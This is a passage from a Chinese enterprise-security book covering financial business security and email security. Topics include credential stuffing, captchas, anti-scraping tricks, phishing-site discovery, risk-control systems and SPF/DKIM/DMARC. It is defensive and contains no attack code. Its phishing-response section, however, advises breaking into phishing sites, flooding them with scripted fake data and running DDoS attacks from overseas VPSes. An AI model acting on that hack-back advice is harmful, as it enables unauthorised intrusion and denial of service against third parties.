借,最终获得红包奖励。普通人利用规则一天顶多有近80元收入,而羊毛党则利用手上掌握的大量账号 批量刷,一天就能赚上千元。 通过上面这个案例,我们可以看到,黑客不需要像以往一样需要入侵对方服务器拿到数据去卖而赚 钱了,只需要通过业务层面的漏洞就能获利。这只是业务安全场景中的一小部分,行话叫“薅羊毛”,除 此外,还有撞库、盗刷、骗保骗贷、黄牛刷单、交易欺诈、刷单炒信、数据爬取等。业务安全显然是非 常重要的,业务安全要保护业务系统免受安全威胁。 笔者结合金融行业特点以及工作经验,从以下几个方面来分析业务安全:账号安全、爬虫与反爬、 钓鱼与反制、大数据风控。 15.1 账号安全 相比于大部分互联网应用只需要手机注册短信验证,金融行业的账号往往需要到柜台或远程视频核 实开启,包括身份证、电话、住址甚至人脸信息等都会收集,按道理安全系数会比较高,但有利益的地 方就会有黑灰产的出现。 金融业务系统中,账号安全是所有业务场景的基础,包括注册、登录、密码找回等功能模块的安全 性是必须要考虑的。随着Web应用开发水平的提升,一般金融企业在这些地方出现逻辑漏洞的可能性比 较小,但也需要关注比如垃圾注册、拖库撞库、账户盗用、短信炸弹等问题。结合金融行业特点,下面 重点阐述发生频率较高的撞库、账户盗用等相关内容。 15.1.1 撞库 撞库分为垂直撞库和水平撞库两种,垂直撞库是对一个账号使用多个不同的密码进行尝试,可以理 解为暴力破解,在做了“多次错误导致锁定”控制的应用上,垂直撞库很容易被发现。水平撞库则是利用 同一个密码(比如123456)对多个账号进行尝试,由于对同一个账号的错误次数没有触发锁定条件,水 平撞库往往更难从业务系统上直接发现。 防撞库有几种主要的思路:在用户侧做人机识别,比如验证码;利用页面混淆技术实现保护;在后 端做请求分析与拦截。 1.验证码 验证码一般包括图形验证码、短信验证码两种,其中图形验证码因低成本优势被广泛使用。 (1)图形验证码 常见的图形验证码是与Web中的会话相关联的,在一个会话开始时,在需要使用验证码的地方会生 成一个与当前会话相关的验证码,用户识别出验证码后通过填写表单将数据提交给服务器,服务器端会 验证此次会话中的验证码是否正确。 对用户方来说,用户访问起始页面,识别返回页面中的验证码,在输入验证码和其他信息后提交表 单,在服务器处理后可查看到当前操作是否成功。服务器在接收到用户对初始页面的请求后,会自动创 建一个新的会话,同时生成验证码来关联这个会话,并且生成用户可见的验证码图片,最后这些页面返 回到用户的浏览器上,用户此时可看到完整的页面。在接到用户提交的表单请求时,服务器会将用户提 交的验证码值并与之前存储在此会话下的验证码值做比较,如果一致则判断验证码是正确的,否则认为 提交的验证码是错误的,客户端可能是计算机或者用户识别错误。服务器端进行这些处理后将处理结果 反馈给用户。如果提交的验证码是正确的,则按照预定流程进行下一步骤,否则回到需要用户输入的那 个界面上。 但是,图形验证码存在一定的弊端,图形验证码通过去噪、二值化、切片等处理后,可以实现机器 自动识别,网上有专门的验证码识别工具,搜索“验证码识别”还能找到一些打码平台。 打码平台在黑产链条中使用广泛,从目前公开的案件报道中可以看到,黑产在这方面的技术已经非 常先进,包括机器学习、人工打码全都用上了。 真实的攻击场景中,验证码的识别率不用太准确,假设有40%的识别率,理论上多请求两次就会成 功,所以黑产先天上占有优势。对于企业来说,验证码搞复杂了用户体验就会非常差,像某购票网站就 是个例子。 (2)短信验证码 同样,针对短信验证码,也有专门的平台,笔者随手在网上搜索“短信验证码接收”就找到了一个 叫“易码平台”的短信验证码接收平台。 有攻也有防,验证码的技术也在不断地发展,包括常见的问答模式、点选模式、拖动验证等,图15-1 是某公司推出的人机行为验证解决方案在线演示效果图。 而某T公司基于其海量数据和场景优势,也推出了验证码服务,包含其独创的VTT语义验证,其官网 介绍图如图15-2所示。 图15-1 人机行为验证 图15-2 某T验证码官方介绍 VTT验证码效果如图15-3所示。 2.页面混淆 针对登录场景的保护,Shape Security公司推出了一种基于页面混淆的动态保护技术,其效果如图15-4 所示。 图15-3 某TVTT验证码效果 图15-4 ShapeSecurity效果图 一个登录的表单,混淆前后变化非常大,包括元素的ID、Name全都变了样,传统的暴力破解工具在 这里就失效了,因为没法定位到这些元素。 国内的瑞数公司也在推出了类似的产品,采用动态变形、动态混淆、动态令牌等技术进行防护,其 中动态变形效果如图15-5所示。 瑞数公司的动态混淆与动态令牌效果如图15-6所示。 此类方案实施过程中需要注意两点: ·网站系统内存在的一些接口,由于需要被调用,不适合用此方案进行保护,实施时需要注意做例外 处理。 ·由于混淆会对HTML甚至js进行处理,需要考虑一些特殊业务场景下的兼容性问题,如浏览器版本、 第三方控件、页面嵌套在C/S客户端中等。 3.后端分析与拦截 这里的后端处理,可能是专门的WAF设备,也可能是Nginx上的过滤模块,也可能是传统的防火墙。 一般的WAF都有对基于请求频率进行限制的功能,将需要保护的页面、时间、请求次数相关参数进 行设置即可。 图15-5 瑞数公司的动态变形示例 图15-6 瑞数的动态混淆与动态令牌 Nginx本身也提供了一些连接限制模块,比如limit_zone和limie_req_zone,为了控制更细粒度,比如 针对URL等,一般采用Nginx+Lua的方案。 将客户端来源IP、URL及其他值合并为一个参数,对这个参数进行统计并写入Nginx的共享内存,当 这个统计值大于一定数量时将进行拦截。 有些公司可能出于可用性考虑,仅将日志收集起来进行准实时分析,当发现有问题后调用防火墙进 行拦截,此处不再赘述。 15.1.2 账户盗用 通常情况下,用户在一个APP正确输入了用户名和密码,就会允许登录;而在金融行业场景下,涉及 资金的操作都得谨慎,所以很多业务都设置了单独的支付密码(或称交易密码)。 并不是单独设置了支付密码就安全了,因为坏人总会想办法拿到你的密码,比如上面的撞库,或者 通过伪基站发送钓鱼短信诱使用户访问并在页面中输入用户密码等信息,一旦这些信息被坏人拿到,马 上就会给受害者造成财产上的损失,所以危害极大。 因此,金融企业还需要采用加强性验证、用户提醒等方式来保障用户账号安全。图15-7是某银行启用 安全认证的官网通告截图。 图15-7 某银行官网关于启用安全认证的通告 其工作原理是:当用户在一部新手机或新设备上登录网站或APP时,由于后台没有对应的设备指纹记 录,所以用户输入成功用户和密码后,还会要求输入一个短信验证码(我们叫它二次认证),当达到一 定的条件(比如成功在这个设备上登录5次)后才不会有这个二次认证。 除了以上方法外,不少应用还会按场景使用验证码、异地登录提醒等功能,比如当发现账号在非常 用的地点登录时,可以通过验证码进行二次认证,或者登录成功后给用户发一个异地登录提醒的信息 等,图15-8为QQ异地登录提醒功能。 图15-8 QQ异地登录提醒功能 15.2 爬虫与反爬虫 15.2.1 爬虫 Distil Networks对2017年网络数千个域名及上千亿次的访问进行分析,发布了《2018 Bad Bot Report》。报告指出,2017年间,42.2%的互联网流量来自于“机器人”(Bots),而非真实用户。 事实上,“机器人”指的是互联网上的爬虫、自动机或者模拟器。部分“机器人”流量来自于搜索引擎爬 虫、自动更新的RSS订阅服务器等,它们是良性的,属于正常机器流量(Good Bots)。另外一部分由恶 意爬虫、自动机、模拟器等产生,伪造真实用户发起的请求,属于恶意机器流量(Bad Bots)。这些流量 在应用层攻击网站、APP或是API,以达到获利的目的,同时也会对企业造成经济上的巨大损失。 网上有大量关于如何编写爬虫的文章,从基础的GET请求、POST请求到使用Cookie、使用代理、设 置Sleep、设置UA伪装成浏览器、设置Referer防来源检查,再到断线重连、多进程、以及处理Ajax请求 等,更高级的是使用Selenium+PhantomJS类的技术直接操作浏览器,执行js代码、识别或绕过验证码等。 V2EX上有位网友分享了一个真实案例,他在每个不同的网站使用不同的邮箱名,这样收到垃圾邮件 时就知道是谁家服务泄露了自己的信息,结果在“随手机”上注册的邮箱收到了某银行的广告营销邮件。 恰逢《网络安全法》2017年6月1日开始实施,所以这个事件当时炒得非常热,最后牵出了一个名为八爪 鱼的采集器。八爪鱼是一个商业的采集器,其内置浏览器几乎可以模拟用户的所有行为,包括移动鼠 标、点击鼠标、翻页、点击链接、滚动鼠标滚轮、切换下拉菜单、输入文字,自动识别验证码(人工打 码+机器识别),甚至看到不同的页面还能采取不同的处理流程,云采集还有成千上万的IP实时切换,其 官网介绍如图15-9所示。 图15-9 八爪鱼采集器介绍 15.2.2 反爬虫 再看看我们主流的反爬虫技术,一般分为后台限制及前端变化两种。 1.后台限制 后台限制一般包括:设置robots.txt文件,针对单个IP访问超过阈值后封锁IP,针对单个Session访问超 过阈值后封锁Session,针对单个User-Agent访问超过阈值进行封锁,组合前几个值进行访问统计超阈值进 行阻断或者发验证码要求验证。这些和前面防撞库中的内容有些相似性,不再赘述。比较暴力一点的是 直接阻断一些类似PycURL、libwww-perl等User-Agent的访问,某些国产WAF中关于爬虫防护的内容中就 列举了常见的爬虫UA以供用户选择。 当然这些都容易绕过,不遵守robots协议、换IP、换Session、换UA都相对简单,但我们也可以利用 它来做一些事情,比如我们在13.7节中讲到的蜜罐技术,设置假的robots,放置一些hidden的表单项,或 者一些注释掉的页面链接等,不会影响用户体验,但爬虫一旦访问即说明有问题,可以进一步干预,比 如阻断。 2.前端变化 后端限制效果可以马上呈现,但随着爬虫技术的不断提升,在后端能做的工作越来越有限,而且还 会存在误伤的问题,所以更多企业把精力放在前端上,对重要的页面内容进行保护,防止被批量爬取。 前端技术多种多样,我们简单看几个实际案例来体会一下。第一个案例是某代理IP网站页面,为了保护 上面公布的IP地址不被人爬取,对IP地址数字和字符做了拼凑处理,如图15-10所示。 图15-10 某IP代理防爬虫例子 聪明的爬虫如果拼接上面的div和span标签,也能获取到正确的IP地址。接下来我们再看看下面这个 案例,如图15-11所示。 图15-11 某网站价格保护 三位数的价格就会生成3个b标签,其中第一个b标签里包含3个i标签,利用元素定位覆盖错误的i标 签,从而最终给用户显示正确的价格,但爬虫就难搞了,拼凑不行还得要解析CSS并进行计算偏移覆盖情 况。下面的案例就更另类了,打开某电影网站,随便找个电影查看其累计票房数据,如图15-12所示。 票房数里展示的根本不是数字,而是使用了font-face定义了字符集,并且每次刷新,字符集的URL还 是动态变化的,如图15-13所示。 如果要爬这个数字,可能还不如OCR识别来的更好一些。从上面这三个案例中,可以看到前端的确 可以做很多事情。除了上面这些前端技巧外,还有以下经验值得参考: 1)关键数据可以考虑文本转成图片,甚至添加水印。 2)网站请求的URL复杂化,尽量不暴露数据的唯一键(如ID等),避免爬虫通过修改ID即可轻松爬 取其他信息。 3)前端HTML页面根据用户点击情况动态加载,即查询页面源码时,只能看到列表的第一条数据。 4)结合账号登录情况,对页面进行保护,比如Token等。 图15-12 某电影网站票房统计数据保护 图15-13 某电影网站票房统计数据对应的字体元素 5)结合蜜罐思路,确认异常时可以返回虚假数据。 反爬虫的本质是找到真正人类用户和爬虫程序的区别,限制爬虫程序的访问,理论上只要爬虫程序 可以模拟任何人类上网的行为,就可以完美击败反爬虫机制,所以反爬虫最终注定是要失败的,于是这 种对抗就演变为不断地升级变化,提升对抗成本和难度。 15.3 API网关防护 还有一类场景是与API调用相关的,一般的防护方案也是类似的,包括Key认证、ACL控制、Bot检 测、CC限速等。商业的解决方案有Imperva、F5等公司提供的API安全方案;开源的有Kong等可供选择, 关于Kong的使用可以参考刘焱的《企业安全建设入门:基于开源软件打造企业网络安全》一书中关于API 网关Kong的内容。 15.4 钓鱼与反制 这里的钓鱼,不是指通过发送带有恶意链接或附件的邮件进行钓鱼,而是指电信诈骗手段中的钓鱼 短信。不知道你有没有收到10086、955XX给你发的短信,如图15-14所示。 短信一般会提示积分兑换、系统升级等,需要用户访问一个特定的网站,而且这个网站域名还会有 一定的相关性,当访问短信里面的域名的时候,基本上会要求访问者填写一些个人信息或者下载特定的 APP,图15-15是某个提示积分兑换的钓鱼网站。 图15-14 某行钓鱼短信图片(来源于网上) 图15-15 积分兑换类钓鱼网站 图15-16是某个要求填写个人信息的钓鱼网站。 这背后其实是一个完整的产业链,从钓鱼网站或恶意APP的开发,到伪基站发短信,再到后台数据整 理,直到最后给受害者造成经济损失,往往都有明确的分工。如果等到发生了损失再来处理就会非常被 动,各大公司往往都会投入精力在这块做文章,只有针对该企业的钓鱼成本高了,黑产才会将目标转移 到其他企业。 15.4.1 钓鱼发现 如何尽可能提早地发现钓鱼网站呢?一种思路是在域名上下功夫,一种是和外部机构合作,比如在 发给用户的短信上做文章等。 图15-16 填写信息类钓鱼网站 1.钓鱼域名主动发现 钓鱼网站一般为了增加可信度,会注册一些跟企业相关的域名,如果我们能主动去爬与企业相关的 域名,便有可能提前发现。 首先,整理一些关键字,以便生成需要爬取的域名。下面以钓鱼网站中的wap.95588ccz.com为例进行 分析,wap有时候可以改为www或者m,95588ccz则可以变化为xx95588或者95588xx,这个xx可以取1~4 位的字符,后面.com则可能变化为.net、.org、.cn、.com.cn、.info、.tk等等,每新多一个变化对应着生成 的域名成指数增长。 其次,将生成的域名去请求类似8.8.8.8这样的DNS服务器查询,由于涉及大量的域名请求,所以建议 在境外部署多台VPS进行分布式请求,一来提升效率,二来防止请求过多被限制。 最后,将解析出来的域名,进行适当的黑白名单的过滤处理后,再报送到后台,便于后续跟进处 置。 如果某天通过其他渠道发现有新的钓鱼网站域名,又可以针对性地改进上面这个过程。 2.外部合作发现 有时候单单依靠自身的力量是不够的,需要合理使用外部力量来与伪基站钓鱼黑产链条进行对抗。 我们知道用户的手机上一般都会安装XX管家、XX卫士、XX浏览器之类的软件,特别是管家类的应 用一般权限比较大,比如读取短信内容。腾讯、360有着海量的终端用户,所以通过分析短信内容,就可 以知道哪些内容可能是钓鱼短信。 还有一些公司具备一些网络流量优势,能监测到通过仿冒页面、木马病毒、垃圾短信、垃圾邮件等 方式传播和实施的、针对用户单位的门户网站等在线服务系统的网络钓鱼欺诈事件。再深入一点,钓鱼 网站一般都是明文传输让用户填卡号密码,如果有资源的公司对这些流量做进一步的分析,甚至能发现 哪些用户可能已经受害。 有一些传统的安全厂商,通过蜜罐系统、爬网系统、现有部署应用的产品反馈、客户查询、第三方 运营商和样本搜集机构交换等方式,获得一些网址信息,再结合一些自已的分析算法,如网址相似度匹 配、内容指纹匹配、自动进行机器学习、DNS关联分析等技术,也能够识别钓鱼网站。 在实际工作中,可能需要与多家外部机构合作,有的提供的是接口,有的可能仅能提供邮件,相互 提供的数据可能还存在重复,所以我们需要有一套系统将这些信息进行汇总,利用一些技术手段进行截 图,进而做图片相似性判断,便于接下来的应对处置。 15.4.2 钓鱼处置 不管是自己爬到的还是外部合作机构发现的,都要对钓鱼进行合理的处置,处置手段一般包括以下 几种: ·及时通知受害者,以减少损失。 ·关闭域名解析或封禁域名。 ·对钓鱼网站进行反制。 第一种就不多说了,如果能加速这个发现、提醒过程,相信会有更多用户能避免损失。 1.关闭或封禁钓鱼网站 一般企业是不具备能力去关闭钓鱼网站的,所以这个时候都需要找外部合作机构,比如Cncert、RSA 等;腾讯、360等在移动终端上提供了安全防护类功能,所以也可以合作,将钓鱼网站信息反馈给对方, 这样当用户访问恶意的链接的时候,会被手机上的安全防护功能拦截。 由于这些都涉及与外部交互,只靠人工操作不仅烦琐而且效率不高,当钓鱼网站大量出现的时候, 就显得力不从心了。此时上面提到的平台就可以发挥其功效了,有大量的输入源,有后端的爬钓鱼网站 页面自动截屏和相似性对比,更应该有与各系统自动对接,自动完成封禁的流程,比如在对方网站上提 交数据,或者发邮件到对方特定邮箱等。 当然,关闭或封禁钓鱼网站没那么快,可能还涉及要与一些运营商或DNS服务提供商的沟通协调 等,所以我们还会有一些针对性的反制措施。 2.对钓鱼网站进行反制 对钓鱼网站进行反制的目的是尽可能地减少用户损失,一般有几种操作: ·入侵或逆向拿数据。 ·大量写虚假数据。 ·DDoS攻击。 ·通过调整业务逻辑解决。 钓鱼网站基本上都是采用相同的模板生成的,安全性不高或者都有一些后台供访问(不排除开发者 留一手),如果搞定一个钓鱼网站,以后遇到类似的基本上都能搞定。以下为安全牛公布的某钓鱼网站 后台结果数据,如图15-17所示。 图15-17 钓鱼网站后台数据(来源于安全牛) 钓鱼网站提供恶意APP下载,通过逆向就可以找到一些类似于手机号(一般用来转发特定验证码短 信)、邮箱账号密码(一般用来记录用户的通讯录、手机短信等)的信息,登录这些邮箱往往也会看到 一些吓人的数据。拿到这些数据后,可以提供给业务部门,让他们通知受害用户,避免遭受损失。 除了直接入侵或逆向,还可以直接批量提交虚假数据。根据笔者经验,很多钓鱼网站根本不会校验 用户输入的卡号到底是不是真实的卡号,所以可以通过脚本生成大量卡号密码提交到钓鱼网站,可以给 对方增加一些工作量,也为我们争取更多的时间。有些钓鱼网站开发得不好,甚至在写入垃圾数据过多 时,自己就崩溃了。 还有一招就是DDoS,在境外申请VPS对钓鱼网站进行流量压制,让用户访问变得非常慢或者无法访 问。建议不要轻易使用,或者使用时讲究技巧,打打停停,一是怕VPS提供商发现后导致VPS不可用,二 是如果招惹黑产反过来DDoS就有点麻烦了。 有时候依靠单纯的技术对抗解决不了的问题,但是说不定在业务场景里就能轻易解决,比如账户盗 用场景里的二次认证,钓鱼网站搞到了用户密码也没法交易,不失为一个很好的方法。随着国家对电信 诈骗打击越来越严厉,伪基站钓鱼有明显减少的现象,大环境好转,很多问题就变得不是问题了。 15.5 大数据风控 15.5.1 基础知识 在大数据这个概念火热之前,传统信贷审批行业就有自己的一套风控系统,一般以人行数据和学信 网数据、结合用户消费行为给用户综合授信,通过面审的方式对用户进行判断。随着互联网+的流行,各 互联网金融公司将业务放到了网上,用户通过填写一定的申请信息来对用户进行贷款审批。效率的提高 同时带来一个直观的问题—网络背后是优质的信贷客户还是欺诈客户? 很多企业建设风控系统主要目标就是反欺诈。反欺诈主要是针对两种欺诈行为,第一种为没有还款 意愿或者还款能力的客户进行借贷的操作称为欺诈行为;第二种为有预谋、有组织的团体专门进行的诈 骗行为。 除了贷款,还有很多场景需要风控系统介入,比如支付场景。以某宝的风控为例,每笔交易发生 时,某宝风控大脑都会从账户、设备、位置、行为、关系、偏好这6个维度去判断是否是本人,按官方宣 称安全大脑对一万个习惯特征进行识别,将风控发生率控制在百万分之一。 15.5.2 风控介绍 下面以一个风控系统为例,说明风控系统的架构、原理、运行机制等。Nebula是国内安全公司威胁 猎人团队开源的一款风控系统,重点解决恶意注册、账号被盗、内容欺诈三方面的业务安全问题,其系 统架构如图15-18所示。 图15-18 Nebula风控系统架构图 从图15-18可以看出,Nebula由业务层、运营管控层、数据输出层、数据计算层和数据源层组成。而 其工作流如图15-19所示。 下面我们结合实际企业场景,对数据源层、数据计算层、数据输出层、运营管控层、业务层分别进 行介绍。 图15-19 Nebula风控系统工作流程图 1.数据源层 大数据风控的基础在于数据,全面、高质量的数据可以帮助我们准确地进行风险控制。除了来自业 务系统的日志外,还可以有更多的外部输入数据,比如以下几个方面: ·用户基本信息,除了我们所熟知的姓名、身份证、银行卡、手机号外,还有学历信息、收入情况, 甚至包含当前设备、当前位置等。 ·用户的征信数据,除了人行征信系统外,还有一些其他网贷平台上的逾期或黑名单信息,比如某网 贷平台的黑名单数据,如图15-20所示。 ·历史交易信息,包括历史交易额、历史交易笔数、历史行为等。 ·运营商数据,比如入网时长、入网状态、每月消费情况、通话记录、短信情况等,通过运营商数据 可以判断用户的设备是否有异常。 ·用户行为数据,包括用户的搜索记录、购买记录、社交数据等,通过这些数据可以判断识别该用户 是一个什么样的人、有多强的消费能力、社会关系如何,等等。 图15-20 某网贷平台黑名单图 2.数据计算与数据输出层 数据计算层与数据输出层,对应到很多企业自建的风控系统里,就是规则层,通过风险规则引擎对 数据源进行计算,得到相应的风险等级或分数。以贷款为例,这里的规则一般包括准入规则、反欺诈规 则等。 准入规则可以理解为一些政策上的要求,比如18岁以下的人不能放贷,大学生不能放贷等;或者一 些业务上的要求,例如偏远地区放了贷款,万一不还则催收成本高,因此建议不放贷款等。还有一些场 景,比如系统在前期测试时只允许特定的人群参与等。 反欺诈规则的主要目的是,识别用户是否有骗贷风险,以及有多大的骗贷风险。规则制定的时候可 以基于用户画像,目的在于通过打标签的方法识别不同的用户群体的风险程度。其标签可以按照用户还 款行为、用户申请轨迹、用户基本信息等方面进行考虑。 3.运营管控层 这一层的功能主要服务于风控规则的快速迭代和系统的个性化配置,比如对规则内容的调整、规则 的启停等进行管理。规则内容的调整可以理解为某个规则参数从3变成5这样的调整,规则的启停可以理 解为发现某个规则异常后将其下线。 图15-21为Nebula风控系统的组件图。 通过这一层对风险情报进行展示,对风险决策进行配置,对决策效果进行回溯分析,以便业务层进 行相关的动作。 图15-21 Nebula风控系统组件图 4.业务层 这一层就不需要过多介绍了,基本都涉及具体的业务场景,比如快捷支付、直付通、转账交易等。 图15-22为某信用卡论坛上的某宝风控效果图。 图15-22 某宝风控效果图 关于开源风控系统Nebula的更多内容,请访问: https://github.com/threathunterX/nebula 15.5.3 企业落地 在金融机构中,由于历史或业务原因可能存在着很多风控系统,比如信用卡系统有信用卡的风控, 网银系统有网银的风控等,这样会导致反欺诈风险防范措施分散,覆盖不全存在漏洞,基础数据也缺乏 统一规则、建设不够全面。有的企业开始着手建立新一代的风控系统,同时对接外部专业风控厂商,图 15-23为某行风控系统逻辑结构图。 在一些场景上需要针对性的风控,比如客户更换手机、手机位置与交易发起端位置对比、线上线下 地址对比、最近交易记忆策略、常用收款方策略、手机操作习惯等,就不一一展开了。最终在用户端的 体现就是各种互动方式,比如常用的密码、动态验证码、指纹验证、人脸自动识别、人脸人工识别、账 户自动冻结等。 15.6 小结 本章针对业务安全中常见的几个场景进行了阐述,如账号安全、爬虫与反爬、API网关、钓鱼与反 制、大数据风控等,这些场景只是业务安全的部分侵入点,本章只是提供了一个思路,应结合实际工作 再仔细分析问题点,做好安全防护。 图15-23 某行风控逻辑结构图 第16章 邮件安全 邮件系统基本上是所有企业对外或内部的工作沟通平台,随着电子邮件的广泛使用,漫天的广告邮 件和包含钓鱼链接的垃圾邮件成了一个日益严重的问题。企业安全人员以往更多关注反垃圾邮件,但由 于金融企业对数据保密有着严格的管控要求,对邮件外发做数据防泄露方面的管控,也逐步成为重点的 工作内容之一。 16.1 背景 这些年,简单邮件传输协议(Simple Mail Transfer Protocol,SMTP)技术没有变化,对攻击者而言, 邮件仍然是一个非常好的入口。只是随着技术水平的提升和利益的驱动,APT攻击、勒索软件开始流行 起来,并不时被媒体报道,通过邮件形成的攻击越来越多,危害越来越严重。最极端的一个例子是,美 国大选期间,希拉里陷入“邮件门”事件中,其团队竞选经理在最错误的时间点了一封最错误的邮件,被 黑客发送的钓鱼邮件偷走了自己的邮箱密码,于是邮箱里的各种内幕就被公布到维基解密上了。除此之 外的例子还有,全球四大会计公司之一的Deloitte(德勤)表示其邮件系统被入侵,大量客户邮件被泄 露;Locky勒索软件通过钓鱼邮件方式大量传播,很多企业用户中招导致文档被加密。金融企业也有很多 的类似案例,就不一一列举了。 邮件系统安全,按照访问方向,可分为入站和出站两类,入站主要的问题包括: ·邮箱账号暴力破解。 ·邮箱账号密码泄露。 ·垃圾邮件。 ·带恶意URL的钓鱼邮件。 ·带恶意附件的病毒邮件。 出站主要的问题包括: ·数据泄露。 ·通过邮件发布违法信息。 ·邮件服务器被滥用或被拒绝。 2017年底,我国开展互联网电子邮件系统安全专项整治行动,图16-1为其中一个附件内容。 图16-1 安全专项整治工作附件部分内容 根据网上的相关解读,电子邮件安全专项整治行动,有以下几项措施:梳理排查邮件系统基本情 况,开展邮件系统集中建设工作,加强邮件系统网络安全等级保护,加强邮件系统建设安全管理,加强 邮件系统的应急处置工作。其中,关于安全管理中提及了防钓鱼、防窃密、防病毒、反垃圾、内容过 滤、安全审计这几个关键安全保护措施。 16.2 入站安全防护 站在攻击者角度来看,黑客直接访问外部邮件系统,利用社工库或者暴力破解得到账号密码就可以 进入邮件系统,之后在邮件中各种翻找就可以发现更多信息,甚至找到下一步要攻击的对象;或者发一 封邮件给企业内部的员工,邮件中包含恶意的URL,需要配合点击访问甚至是诱导用户输入自己的用户 密码;又或者是邮件包含了恶意的附件,目标用户一旦执行,恶意附件就会控制电脑权限,甚至加密电 脑上的文件以便进行勒索。 16.2.1 邮箱账号暴力破解 邮箱暴力破解,除了常见的通过POP3、SMTP、IMAP协议进行频繁认证请求外,还有一些是通过访 问邮件系统登录页面进行的,比如渗透测试人员非常喜欢的OWA或者EWS接口,图16-2为某OWA登录界 面。 图16-2 OWA登录接口图 大企业员工较多,对外的邮箱基本按名字拼音+域名组合,而邮箱往往又与域账号有关,很多企业的 域账号又与员工编号有关。总之,对于别有用心的攻击者来说,利用SMTP、POP3、IMAP等协议或请求 Web登录页面进行猜解,其成功率还是很高的。很多企业邮箱和AD做了集成,如果出现了大量暴力破解 可能会触发AD的账号锁定机制,但这样也在一定程度上影响了企业的正常办公。 针对SMTP、POP3、IMAP等协议的暴力破解,邮件网关一般都具备相应的应对功能,比如黑白名 单、连接限制、目录攻击防护,而针对Web登录页面的防护,主流的方法是使用双因素认证,有条件的 企业可以考虑不将登录页面暴露在互联网上。 微软官方也有相应的文章介绍如何在OWA上配置RSA SecurID[1]。从技术上来讲,Web页面实现双因 素认证还是很容易的,比如通过Nginx反向代理实现。但邮件还涉及SMTP、IMAP、POP3甚至Exchange 协议,确实需要花费精力。FreeBuf上有篇改造Nginx让邮件系统支持双因子认证的文章[2],有兴趣的读者 可以了解一下。 某企业将邮件系统与OA系统对接,账号登录认证在OA上完成,当需要使用邮件时,由OA直接跳转 到邮件系统即可,中间根本不需要用户输入邮箱密码,所以该企业员工根本就不知道自己邮箱密码是什 么。这样就可以在后台全局禁止POP3、IMAP等协议,减少风险窗口。而针对OA系统则采用证书的方式 进行保护,即在外网无法直接登录,需要在机器上导入跟个人相关的证书才行,这样就可以有效规避暴 力破解风险。在实际运营过程中,还需要关注一些测试、临时开放的OWA登录页面,以及EWS接口建议 限制来源,监测相关认证日志,有问题及时阻断恶意来源。做针对性的测试,若发现没有此类登录失败 日志,则需要检查与账户登录相关的审核策略,看是否有了开启Kerberos相关的登录验证审核。 [1] 更多内容请参考:https://technet.microsoft.com/zh-cn/library/bb974232(v=exchg.80).aspx。 [2] 链接:http://www.freebuf.com/articles/network/135640.html。 16.2.2 邮箱账号密码泄露 有些员工喜欢在外面一些网站上使用公司邮箱注册账号,可能还在多处使用同一个密码,比如我们 所熟知的CSDN论坛。一旦这些网站安全措施不到位,也可能间接导致邮箱账号密码泄露。 针对此类问题,建议的做法是常态化的弱口令扫描,同时注意结合外部泄露发生时的主动提醒。邮 箱账号密码弱口令扫描工具,网上有很多现成的工具,就不再赘述。搞渗透的同学喜欢收集网上各种社 工库,当有某库泄露出来的时候,建议看看有没有与自己企业相关的邮箱,如果有,尽量通知一下,将 相关程序做成标准模板,下次泄露发生时还可以直接使用。 16.2.3 垃圾邮件 针对垃圾邮件,常规的做法是部署反垃圾邮件模块或者网关,通常效果不错。某位业务人员向笔者 反馈,大量发给QQ邮箱的通知邮件失败,希望我们能联系QQ邮箱解决。与腾讯相关人员进行联系后, 对方反馈由于前一天收到大量来自我们通知邮箱的通知邮件,所以将我们对应的邮箱加入了黑名单。临 时处理后,我们开始研究相应的解决方案,如SPF、DKIM、DMARC、RDNS等。 1.SPF SPF(Sender Policy Framework)是一种以IP地址认证电子邮件发件人身份的技术。当你定义了你域 名的SPF记录之后,接收邮件方会首先检查域名的SPF记录,来确定连接过来的IP地址是否包含在SPF记 录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回或丢弃处理。其工 作原理图如图16-3所示。 SPF可以防止别人假冒你来发邮件,是一个反伪造性邮件的解决方案。设置正确的SPF记录可以提高 邮件系统发送外域邮件的成功率,也可以在一定程度上防止别人假冒你的域名发邮件。 2.DKIM DKIM(Domain Keys Identified Mail)是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方 式对邮件发送域名进行验证。在发送邮件时,发送方会利用本域私钥加密生成DKIM签名,并将DKIM签 名及其相关信息插入邮件头,而邮件接收方接收邮件时,通过DNS查询获得公钥,并验证邮件DKIM签名 的有效性,从而确保在邮件发送的过程中,邮件不会被恶意篡改,保证邮件内容的完整性。签名是先对 body部分进行HASH,然后把这个HASH值放在邮件头里面,再对头部做签名。头部也不是所有字段都签 名的,只有一些常用的字段,或者比较有意义的字段会被签名。其工作原理如图16-4所示。 图16-3 SPF工作原理图 通过QQ邮箱发出一封邮件,观察其邮件头,有DKIM签名,如图16-5所示。 其中,s=s201512,会去查对应的DNS记录s201512._domainkey.qq.com,获取公钥用于验证,而h=后 面一长串字符串则表示会对邮件头中的Form、To、Subject等字段进行签名,意味着如果邮件中这些字段 任一个被修改就会校验失败。 图16-4 DKIM工作原理图 3.DMARC DMARC(Domain-based Message Authentication,Reporting&Conformance)是一种基于现有的SPF和 DKIM协议的可扩展电子邮件认证协议,在邮件收发双方建立了邮件反馈机制,便于邮件发送方和邮件接 收方共同对域名的管理进行完善和监督。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记 录,并明确声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过DNS获取DMARC记录, 再对邮件来源进行SPF验证和DKIM验证,对验证失败的邮件根据DMARC记录进行处理,并将处理结果 反馈给发送方。其工作原理如图16-6所示。 DMARC能够有效识别并拦截欺诈邮件和钓鱼邮件,保障用户个人信息安全。通过测试我们发现QQ 邮箱将以上三种措施都实施了,对应的DNS查询如图16-7所示。 从图16-7中可以看到,既有SPF记录,也有DKIM记录,更有DMARC记录,注意都是txt类型的。 图16-5 QQ邮件头部信息 4.RDNS 除了以上三种方案外,还有RDNS,即反向解析,把IP解析为域名,有时候邮件发出去被退信,选择 RDNS会好很多,但这需要找运营商去实施。 5.部署落地 对比以上技术方案,SPF只需做DNS记录上的调整;DKIM除了DNS设置外还涉及邮件网关上的密钥 生成及配置;DMARC则在SPF和DKIM基础上多了一个反馈共享机制,需要配套的邮箱来接收这些信 息。建议从易到难的方式来实施,实际过程中还需多验证、从子域名着手开始部署,逐步推进。 qq.com的配置如下: qq.com text = "v=spf1 include:spf.mail.qq.com -all" spf.mail.qq.com是一长串的内容: spf.mail.qq.com text ="v=spf1 include:spf-a.mail.qq.com include:spf-b.mail.qq.com include:spf-c.mail.qq.com include:spf-d. 图16-6 DMARC工作原理图 